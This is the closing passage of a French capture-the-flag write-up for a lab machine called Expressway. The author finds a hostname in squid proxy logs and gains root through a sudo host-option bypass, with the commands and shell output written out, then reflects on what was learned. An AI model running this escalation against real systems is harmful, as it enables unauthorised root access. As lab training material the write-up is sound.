uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:/$ ls -la /var/<span class="hljs-built_in">log</span>/squid/
total 28
drwxr-xr-x  2 proxy proxy 4096 Sep 16 16:02 .
drwxr-xr-x 12 root  root  4096 Oct 11 23:03 ..
-rw-r-----  1 proxy proxy 4778 Jul 23 01:19 access.log.1
-rw-r-----  1 proxy proxy   20 Jul 22 19:32 access.log.2.gz
-rw-r-----  1 proxy proxy 2192 Jul 23 01:47 cache.log.1
-rw-r-----  1 proxy proxy  941 Jul 23 01:47 cache.log.2.gz
</code></pre>
<pre><code class="lang-bash"> [offramp.expressway.htb](http://offramp.expressway.htb/)
</code></pre>
<p>Dans le fichier de journaux, il y avait cette URL, qui était un indice pour la suite. Du fait de son emplacement inhabituel.<br />Il fallait donc s’en servir, pour élever les permissions de l’utilisateur.</p>
<pre><code class="lang-bash">ike@expressway:/$ cat /var/<span class="hljs-built_in">log</span>/squid/access.log.1 | grep offramp
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET [http://offramp.expressway.htb](http://offramp.expressway.htb/) - HIER_NONE/- text/html
ike@expressway:/$ /usr/<span class="hljs-built_in">local</span>/bin/sudo -h offramp.expressway.htb /bin/bash
root@expressway:/<span class="hljs-comment"># ls</span>
bin   etc         initrd.img.old  lost+found  opt   run   sys  var
boot  home        lib             media       proc  sbin  tmp  vmlinuz
dev   initrd.img  lib64           mnt         root  srv   usr  vmlinuz.old
root@expressway:/<span class="hljs-comment"># cd root</span>
root@expressway:~<span class="hljs-comment"># ls</span>
root.txt
root@expressway:~<span class="hljs-comment"># cat root.txt</span>
flag{******************************}
</code></pre>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Ce CTF a été assez rapide, une fois que j’ai trouvé la manière de scanner efficacement la cible.</p>
<p>Pour le reste, il fallait suivre les indices, et détails bizarres. Puis creuser dnas ce sens.</p>
<p>Durant ce CTF, j’ai découvert le protocole IKE, et les outils de hacking associés à lui.</p>
<p>Pour la partie privilège, je n’ai pas innové mais utilisé, les techniques d’autres personnes.</p>
<p>N’ayant pas encore les connaissances suffisantes pour comprendre des sytèmes d’exploitation.<br />Il y a tellement à apprendre.</p>
<p>Merci d’avoir lu cette note.</p>
<p>Fin.</p>
]]></content:encoded></item></channel></rss>